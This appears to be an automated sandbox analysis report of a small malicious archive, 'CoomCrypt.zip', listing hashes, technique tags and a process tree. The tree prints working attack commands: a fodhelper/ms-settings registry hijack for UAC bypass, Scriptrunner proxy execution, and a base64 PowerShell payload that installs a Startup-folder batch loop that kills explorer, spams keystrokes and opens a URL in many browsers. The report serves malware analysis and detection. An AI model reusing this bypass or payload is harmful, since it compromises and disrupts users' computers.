f4ba18ceb24b3db0b9acaf5010c04662111d701869d099eb8f61c325fe5e104a

Resubmissions

01/06/2026, 02:52

260601-dcs2ysby4s6

01/06/2026, 02:46

260601-c9lhpsd12m1

Analysis

user interaction
yes
max time kernel
283s
max time network
301s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
01/06/2026, 02:52

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
CoomCrypt.zip
Size 2KB
Sample260601-dcs2ysby4s
SHA256 f4ba18ceb24b3db0b9acaf5010c04662111d701869d099eb8f61c325fe5e104a
MD5 02b004cca542e877625e344c344785a0
SHA1 aedc80fe6a36bfcf5d8b681aa040b49c752843bf
SHA512 5e8b09cc439bee4edbec38a5b4763a6ac3fb79bffc00c1865c17d86162f25b3973d62a4cf98b60bf1811c1d1bc4040ad03b5cfc6786a3cc86e45d3db73ec0db1
TLSH
T1AA51F94C42F828D9DD8487F15C9C26233AF4A2D18A92B3338DB65981DDA4DD26F8024A
MD5 SHA1 SHA512 TLSH

Score

6^/10

defense_evasion discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 14 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
5776	powershell.exe
6924	powershell.exe
8228	powershell.exe
8384	powershell.exe
1076	powershell.exe
4264	powershell.exe
6424	powershell.exe
8904	powershell.exe
8204	powershell.exe
4480	powershell.exe
1504	powershell.exe
2648	powershell.exe
4036	powershell.exe
3292	powershell.exe

System Binary Proxy Execution: ScriptRunner 1 TTPs 2 IoCs

Adversaries may abuse ScriptRunner to proxy execution of malicious code.

defense_evasion

System Binary Proxy Execution

T1218

pid	Process
1600	reg.exe
2120	Scriptrunner.exe

System Time Discovery 1 TTPs 2 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
2992	chrome.exe
848	msedge.exe

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
4164	timeout.exe

Kills process with taskkill 18 IoCs

defense_evasion

pid	Process
8196	taskkill.exe
8224	taskkill.exe
8484	taskkill.exe
1800	taskkill.exe
848	taskkill.exe
6496	taskkill.exe
4860	taskkill.exe
3156	taskkill.exe
1748	taskkill.exe
8204	taskkill.exe
4652	taskkill.exe
5128	taskkill.exe
7400	taskkill.exe
8800	taskkill.exe
8092	taskkill.exe
8980	taskkill.exe
4488	taskkill.exe
6476	taskkill.exe

Modifies registry class 9 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2654269261-3199571979-4291878722-1000_Classes\.pwn\Shell\Open\command	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2654269261-3199571979-4291878722-1000_Classes\.pwn	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2654269261-3199571979-4291878722-1000_Classes\.pwn\Shell\Open	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2654269261-3199571979-4291878722-1000_Classes\ms-settings\CurVer	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2654269261-3199571979-4291878722-1000_Classes\ms-settings	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2654269261-3199571979-4291878722-1000_Classes\Local Settings	fodhelper.exe
Key created	\REGISTRY\USER\S-1-5-21-2654269261-3199571979-4291878722-1000_Classes\.pwn\Shell	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2654269261-3199571979-4291878722-1000_Classes\.pwn\Shell\Open\command\ = "Scriptrunner.exe -appvscript cmd.exe /c C:\\Users\\Admin\\Desktop\\CoomCrypt\\\\ff.bat"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2654269261-3199571979-4291878722-1000_Classes\ms-settings\CurVer\ = ".pwn"	reg.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeRestorePrivilege	3660	7zG.exe
Token: 35	3660	7zG.exe
Token: SeSecurityPrivilege	3660	7zG.exe
Token: SeSecurityPrivilege	3660	7zG.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
3660	7zG.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1200 wrote to memory of 1600	1200	cmd.exe	94
PID 1200 wrote to memory of 4092	1200	cmd.exe	95
PID 1200 wrote to memory of 4064	1200	cmd.exe	96
PID 1200 wrote to memory of 4164	1200	cmd.exe	97
PID 4064 wrote to memory of 2120	4064	fodhelper.exe	98
PID 1200 wrote to memory of 1240	1200	cmd.exe	100

Views/modifies file attributes 1 TTPs 9 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
3216	attrib.exe
924	attrib.exe
3348	attrib.exe
4612	attrib.exe
1660	attrib.exe
2688	attrib.exe
2248	attrib.exe
2264	attrib.exe
1264	attrib.exe

C:\Windows\Explorer.exe
C:\Windows\Explorer.exe /idlist,,C:\Users\Admin\AppData\Local\Temp\CoomCrypt.zip
1⤵
PID:2684

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:2364

C:\Program Files\7-Zip\7zG.exe
"C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Desktop\CoomCrypt\" -spe -an -ai#7zMap26206:76:7zEvent1800
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:3660

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Desktop\CoomCrypt\CoomCrypt.bat" "
1⤵
- Suspicious use of WriteProcessMemory
PID:1200
- C:\Windows\system32\reg.exe
  reg add "HKEY_CURRENT_USER\Software\Classes\.pwn\Shell\Open\command" /ve /d "Scriptrunner.exe -appvscript cmd.exe /c C:\Users\Admin\Desktop\CoomCrypt\\ff.bat" /f
  2⤵
  - System Binary Proxy Execution: ScriptRunner
  - Modifies registry class
  PID:1600
- C:\Windows\system32\reg.exe
  reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\CurVer" /ve /d ".pwn" /f
  2⤵
  - Modifies registry class
  PID:4092
- C:\Windows\system32\fodhelper.exe
  fodhelper.exe
  2⤵
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:4064
- - C:\Windows\system32\Scriptrunner.exe
    "Scriptrunner.exe" -appvscript cmd.exe /c C:\Users\Admin\Desktop\CoomCrypt\\ff.bat
    3⤵
    - System Binary Proxy Execution: ScriptRunner
    PID:2120
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c C:\Users\Admin\Desktop\CoomCrypt\\ff.bat
      4⤵
      PID:3624
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "& { [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QGVjaG8gb2ZmCmlmIGV4aXN0ICIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwIiBjZCAvZCAiJUFQUERBVEElXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cCIKCigKZWNobyBAZWNobyBvZmYKZWNobyBzdGFydCAiIiAiJUFQUERBVEElXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxiYXQuYmF0IgplY2hvIDpzaGl0CmVjaG8gdGFza2tpbGwgL2YgL2ltIGV4cGxvcmVyLmV4ZQplY2hvIHBvd2Vyc2hlbGwgLWNvbW1hbmQgIiR3c2ggPSBOZXctT2JqZWN0IC1Db21PYmplY3QgV1NjcmlwdC5TaGVsbDsgZm9yKCRpPTA7JGkgLWx0IDEwMDskaSsrKSB7ICR3c2guU2VuZEtleXMoW2NoYXJdMTc1KSB9IgplY2hvIGlmIGV4aXN0ICJDOlxXaW5kb3dzXFN5c3RlbTMyXENsb3VkTm90aWZpY2F0aW9ucy5leGUiIHN0YXJ0ICIiICJDOlxXaW5kb3dzXFN5c3RlbTMyXENsb3VkTm90aWZpY2F0aW9ucy5leGUiCmVjaG8gaWYgZXhpc3QgIkM6XFByb2dyYW0gRmlsZXNcR29vZ2xlXENocm9tZVxBcHBsaWNhdGlvblxjaHJvbWUuZXhlIiBzdGFydCAiIiAiQzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXGNocm9tZS5leGUiICJodHRwczovL2NhbXB1Y2hpYXZkLmdpdGh1Yi5pby92ZGZmLm1wNCIKZWNobyBpZiBleGlzdCAiQzpcUHJvZ3JhbSBGaWxlc1xNb3ppbGxhIEZpcmVmb3hcZmlyZWZveC5leGUiIHN0YXJ0ICIiICJDOlxQcm9ncmFtIEZpbGVzXE1vemlsbGEgRmlyZWZveFxmaXJlZm94LmV4ZSIgImh0dHBzOi8vY2FtcHVjaGlhdmQuZ2l0aHViLmlvL3ZkZmYubXA0IgplY2hvIGlmIGV4aXN0ICJDOlxQcm9ncmFtIEZpbGVzXEludGVybmV0IEV4cGxvcmVyXGlleHBsb3JlLmV4ZSIgc3RhcnQgIiIgIkM6XFByb2dyYW0gRmlsZXNcSW50ZXJuZXQgRXhwbG9yZXJcaWV4cGxvcmUuZXhlIiAiaHR0cHM6Ly9jYW1wdWNoaWF2ZC5naXRodWIuaW8vdmRmZi5tcDQiCmVjaG8gaWYgZXhpc3QgIkM6XFByb2dyYW0gRmlsZXMgKHg4NilcTWljcm9zb2Z0XEVkZ2VcQXBwbGljYXRpb25cbXNlZGdlLmV4ZSIgc3RhcnQgIiIgIkM6XFByb2dyYW0gRmlsZXMgKHg4NilcTWljcm9zb2Z0XEVkZ2VcQXBwbGljYXRpb25cbXNlZGdlLmV4ZSIgImh0dHBzOi8vY2FtcHVjaGlhdmQuZ2l0aHViLmlvL3ZkZmYubXA0IgplY2hvIGlmIGV4aXN0ICJDOlxVc2Vyc1wldXNlcm5hbWUlXEFwcERhdGFcTG9jYWxcUHJvZ3JhbXNcT3BlcmFcbGF1bmNoZXIuZXhlIiBzdGFydCAiIiAiQzpcVXNlcnNcJXVzZXJuYW1lJVxBcHBEYXRhXExvY2FsXFByb2dyYW1zXE9wZXJhXGxhdW5jaGVyLmV4ZSIgImh0dHBzOi8vY2FtcHVjaGlhdmQuZ2l0aHViLmlvL3ZkZmYubXA0IgplY2hvIGlmIGV4aXN0ICJDOlxVc2Vyc1wldXNlcm5hbWUlXEFwcERhdGFcTG9jYWxcUHJvZ3JhbXNcT3BlcmEgR1hcbGF1bmNoZXIuZXhlIiBzdGFydCAiIiAiQzpcVXNlcnNcJXVzZXJuYW1lJVxBcHBEYXRhXExvY2FsXFByb2dyYW1zXE9wZXJhIEdYXGxhdW5jaGVyLmV4ZSIgImh0dHBzOi8vY2FtcHVjaGlhdmQuZ2l0aHViLmlvL3ZkZmYubXA0IgplY2hvIGlmIGV4aXN0ICJDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblxicmF2ZS5leGUiIHN0YXJ0ICIiICJDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblxicmF2ZS5leGUiICJodHRwczovL2NhbXB1Y2hpYXZkLmdpdGh1Yi5pby92ZGZmLm1wNCIKZWNobyBpZiBleGlzdCAiQzpcUHJvZ3JhbSBGaWxlc1xWaXZhbGRpXEFwcGxpY2F0aW9uXHZpdmFsZGkuZXhlIiBzdGFydCAiIiAiQzpcUHJvZ3JhbSBGaWxlc1xWaXZhbGRpXEFwcGxpY2F0aW9uXHZpdmFsZGkuZXhlIiAiaHR0cHM6Ly9jYW1wdWNoaWF2ZC5naXRodWIuaW8vdmRmZi5tcDQiCmVjaG8gaWYgZXhpc3QgIkM6XFByb2dyYW0gRmlsZXNcT3BlcmFcbGF1bmNoZXIuZXhlIiBzdGFydCAiIiAiQzpcUHJvZ3JhbSBGaWxlc1xPcGVyYVxsYXVuY2hlci5leGUiICJodHRwczovL2NhbXB1Y2hpYXZkLmdpdGh1Yi5pby92ZGZmLm1wNCIKZWNobyBpZiBleGlzdCAiQzpcUHJvZ3JhbSBGaWxlc1xZYW5kZXhcWWFuZGV4QnJvd3NlclxBcHBsaWNhdGlvblxicm93c2VyLmV4ZSIgc3RhcnQgIiIgIkM6XFByb2dyYW0gRmlsZXNcWWFuZGV4XFlhbmRleEJyb3dzZXJcQXBwbGljYXRpb25cYnJvd3Nlci5leGUiICJodHRwczovL2NhbXB1Y2hpYXZkLmdpdGh1Yi5pby92ZGZmLm1wNCIKZWNobyBpZiBleGlzdCAiQzpcUHJvZ3JhbSBGaWxlc1xUb3JCcm93c2VyXFRvclx0b3IuZXhlIiBzdGFydCAiIiAiQzpcUHJvZ3JhbSBGaWxlc1xUb3JCcm93c2VyXFRvclx0b3IuZXhlIiAiaHR0cHM6Ly9jYW1wdWNoaWF2ZC5naXRodWIuaW8vdmRmZi5tcDQiCmVjaG8gaWYgZXhpc3QgIkM6XFByb2dyYW0gRmlsZXNcV2F0ZXJmb3hcd2F0ZXJmb3guZXhlIiBzdGFydCAiIiAiQzpcUHJvZ3JhbSBGaWxlc1xXYXRlcmZveFx3YXRlcmZveC5leGUiICJodHRwczovL2NhbXB1Y2hpYXZkLmdpdGh1Yi5pby92ZGZmLm1wNCIKZWNobyBpZiBleGlzdCAiQzpcUHJvZ3JhbSBGaWxlc1xQYWxlIE1vb25ccGFsZW1vb24uZXhlIiBzdGFydCAiIiAiQzpcUHJvZ3JhbSBGaWxlc1xQYWxlIE1vb25ccGFsZW1vb24uZXhlIiAiaHR0cHM6Ly9jYW1wdWNoaWF2ZC5naXRodWIuaW8vdmRmZi5tcDQiCmVjaG8gaWYgZXhpc3QgIkM6XFByb2dyYW0gRmlsZXNcTWF4dGhvblxCaW5cTWF4dGhvbi5leGUiIHN0YXJ0ICIiICJDOlxQcm9ncmFtIEZpbGVzXE1heHRob25cQmluXE1heHRob24uZXhlIiAiaHR0cHM6Ly9jYW1wdWNoaWF2ZC5naXRodWIuaW8vdmRmZi5tcDQiCmVjaG8gaWYgZXhpc3QgIkM6XFByb2dyYW0gRmlsZXNcU2VhTW9ua2V5XHNlYW1vbmtleS5leGUiIHN0YXJ0ICIiICJDOlxQcm9ncmFtIEZpbGVzXFNlYU1vbmtleVxzZWFtb25rZXkuZXhlIiAiaHR0cHM6Ly9jYW1wdWNoaWF2ZC5naXRodWIuaW8vdmRmZi5tcDQiCmVjaG8gaWYgZXhpc3QgIkM6XFByb2dyYW0gRmlsZXNcQ29tb2RvXERyYWdvblxkcmFnb24uZXhlIiBzdGFydCAiIiAiQzpcUHJvZ3JhbSBGaWxlc1xDb21vZG9cRHJhZ29uXGRyYWdvbi5leGUiICJodHRwczovL2NhbXB1Y2hpYXZkLmdpdGh1Yi5pby92ZGZmLm1wNCIKZWNobyBpZiBleGlzdCAiQzpcUHJvZ3JhbSBGaWxlc1xTUldhcmUgSXJvblxpcm9uLmV4ZSIgc3RhcnQgIiIgIkM6XFByb2dyYW0gRmlsZXNcU1JXYXJlIElyb25caXJvbi5leGUiICJodHRwczovL2NhbXB1Y2hpYXZkLmdpdGh1Yi5pby92ZGZmLm1wNCIKZWNobyBpZiBleGlzdCAiQzpcUHJvZ3JhbSBGaWxlc1xFcGljIFByaXZhY3kgQnJvd3NlclxlcGljLmV4ZSIgc3RhcnQgIiIgIkM6XFByb2dyYW0gRmlsZXNcRXBpYyBQcml2YWN5IEJyb3dzZXJcZXBpYy5leGUiICJodHRwczovL2NhbXB1Y2hpYXZkLmdpdGh1Yi5pby92ZGZmLm1wNCIKZWNobyBpZiBleGlzdCAiQzpcUHJvZ3JhbSBGaWxlc1xNaWNyb3NvZnRcRWRnZVxBcHBsaWNhdGlvblxtc2VkZ2UuZXhlIiBzdGFydCAiIiAiQzpcUHJvZ3JhbSBGaWxlc1xNaWNyb3NvZnRcRWRnZVxBcHBsaWNhdGlvblxtc2VkZ2UuZXhlIiAiaHR0cHM6Ly9jYW1wdWNoaWF2ZC5naXRodWIuaW8vdmRmZi5tcDQiCmVjaG8gZ290byA6c2hpdAopID4gYmF0LmJhdAoKc3RhcnQgIiIgIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcYmF0LmJhdCIKCnJlZyBhZGQgIkhLQ1VcU29mdHdhcmVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cRXhwbG9yZXJcQWR2YW5jZWQiIC92IAoKY2QgL2QgIkM6XFByb2dyYW1EYXRhIgpta2RpciAiV2luZG93c1wxXDJcM1w0XDVcNlw3XDhcOSIKYXR0cmliICtoICJDOlxQcm9ncmFtRGF0YVxXaW5kb3dzXDFcMlwzXDRcNVw2XDdcOFw5IgphdHRyaWIgK2ggIkM6XFByb2dyYW1EYXRhXFdpbmRvd3NcMVwyXDNcNFw1XDZcN1w4IgphdHRyaWIgK2ggIkM6XFByb2dyYW1EYXRhXFdpbmRvd3NcMVwyXDNcNFw1XDZcNyIKYXR0cmliICtoICJDOlxQcm9ncmFtRGF0YVxXaW5kb3dzXDFcMlwzXDRcNSIKYXR0cmliICtoICJDOlxQcm9ncmFtRGF0YVxXaW5kb3dzXDFcMlwzXDQiCmF0dHJpYiAraCAiQzpcUHJvZ3JhbURhdGFcV2luZG93c1wxXDJcMyIKYXR0cmliICtoICJDOlxQcm9ncmFtRGF0YVxXaW5kb3dzXDFcMiIKYXR0cmliICtoICJDOlxQcm9ncmFtRGF0YVxXaW5kb3dzXDEiCmNvcHkgIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcYmF0LmJhdCIgIkM6XFByb2dyYW1EYXRhXFdpbmRvd3NcMVwyXDNcNFw1XDZcN1w4XDkiCmF0dHJpYiAraCAiQzpcUHJvZ3JhbURhdGFcV2luZG93c1wxXDJcM1w0XDVcNlw3XDhcOVxiYXQuYmF0IgpleGl0')) | Out-File -FilePath 'C:\Users\Admin\Desktop\CoomCrypt\cc.bat' -Encoding ASCII }"
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3292
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\bat.bat"
        5⤵
        
        PID:576
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\bat.bat"
        6⤵
        
        PID:4420
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\bat.bat"
        7⤵
        
        PID:4476
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\bat.bat"
        8⤵
        
        PID:4404
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\bat.bat"
        9⤵
        
        PID:1188
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\bat.bat"
        10⤵
        
        PID:3084
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\bat.bat"
        11⤵
        
        PID:2704
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\bat.bat"
        12⤵
        
        PID:652
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\bat.bat"
        13⤵
        
        PID:3040
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\bat.bat"
        14⤵
        
        PID:6896
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\bat.bat"
        15⤵
        
        PID:6840
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\bat.bat"
        16⤵
        
        PID:8972
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\bat.bat"
        17⤵
        
        PID:5584
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\bat.bat"
        18⤵
        
        PID:8536
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im explorer.exe
        18⤵
        Kills process with taskkill
        
        PID:8980
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im explorer.exe
        17⤵
        Kills process with taskkill
        
        PID:8204
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "$wsh = New-Object -ComObject WScript.Shell; for($i=0;$i -lt 100;$i++) { $wsh.SendKeys([char]175) }"
        17⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:8904
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im explorer.exe
        16⤵
        Kills process with taskkill
        
        PID:7400
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im explorer.exe
        15⤵
        Kills process with taskkill
        
        PID:6476
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "$wsh = New-Object -ComObject WScript.Shell; for($i=0;$i -lt 100;$i++) { $wsh.SendKeys([char]175) }"
        15⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:8384
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im explorer.exe
        14⤵
        Kills process with taskkill
        
        PID:5128
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "$wsh = New-Object -ComObject WScript.Shell; for($i=0;$i -lt 100;$i++) { $wsh.SendKeys([char]175) }"
        14⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:8228
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im explorer.exe
        13⤵
        Kills process with taskkill
        
        PID:6496
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "$wsh = New-Object -ComObject WScript.Shell; for($i=0;$i -lt 100;$i++) { $wsh.SendKeys([char]175) }"
        13⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6924
        
        C:\Windows\System32\CloudNotifications.exe
        
        "C:\Windows\System32\CloudNotifications.exe"
        13⤵
        
        PID:8868
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://campuchiavd.github.io/vdff.mp4"
        13⤵
        
        PID:8872
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x168,0x16c,0x170,0x144,0x174,0x7ff857edc728,0x7ff857edc734,0x7ff857edc740
        14⤵
        
        PID:8920
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" "https://campuchiavd.github.io/vdff.mp4"
        13⤵
        
        PID:8916
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" https://campuchiavd.github.io/vdff.mp4
        14⤵
        
        PID:9088
        
        C:\Program Files\Internet Explorer\iexplore.exe
        
        "C:\Program Files\Internet Explorer\iexplore.exe" "https://campuchiavd.github.io/vdff.mp4"
        13⤵
        
        PID:9060
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" -- "https://campuchiavd.github.io/vdff.mp4"
        14⤵
        
        PID:8940
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" "https://campuchiavd.github.io/vdff.mp4"
        13⤵
        
        PID:9064
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im explorer.exe
        12⤵
        Kills process with taskkill
        
        PID:4488
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "$wsh = New-Object -ComObject WScript.Shell; for($i=0;$i -lt 100;$i++) { $wsh.SendKeys([char]175) }"
        12⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5776
        
        C:\Windows\System32\CloudNotifications.exe
        
        "C:\Windows\System32\CloudNotifications.exe"
        12⤵
        
        PID:4036
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://campuchiavd.github.io/vdff.mp4"
        12⤵
        
        PID:7236
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x160,0x164,0x168,0x138,0x16c,0x7ff857edc728,0x7ff857edc734,0x7ff857edc740
        13⤵
        
        PID:7292
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" "https://campuchiavd.github.io/vdff.mp4"
        12⤵
        
        PID:7316
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" https://campuchiavd.github.io/vdff.mp4
        13⤵
        
        PID:7108
        
        C:\Program Files\Internet Explorer\iexplore.exe
        
        "C:\Program Files\Internet Explorer\iexplore.exe" "https://campuchiavd.github.io/vdff.mp4"
        12⤵
        
        PID:8664
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" "https://campuchiavd.github.io/vdff.mp4"
        12⤵
        
        PID:8688
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im explorer.exe
        11⤵
        Kills process with taskkill
        
        PID:1748
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "$wsh = New-Object -ComObject WScript.Shell; for($i=0;$i -lt 100;$i++) { $wsh.SendKeys([char]175) }"
        11⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4036
        
        C:\Windows\System32\CloudNotifications.exe
        
        "C:\Windows\System32\CloudNotifications.exe"
        11⤵
        
        PID:7008
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://campuchiavd.github.io/vdff.mp4"
        11⤵
        
        PID:6492
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x150,0x154,0x158,0x12c,0x15c,0x7ff857edc728,0x7ff857edc734,0x7ff857edc740
        12⤵
        
        PID:8080
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" "https://campuchiavd.github.io/vdff.mp4"
        11⤵
        
        PID:5288
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" https://campuchiavd.github.io/vdff.mp4
        12⤵
        
        PID:8020
        
        C:\Program Files\Internet Explorer\iexplore.exe
        
        "C:\Program Files\Internet Explorer\iexplore.exe" "https://campuchiavd.github.io/vdff.mp4"
        11⤵
        
        PID:4632
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" -- "https://campuchiavd.github.io/vdff.mp4"
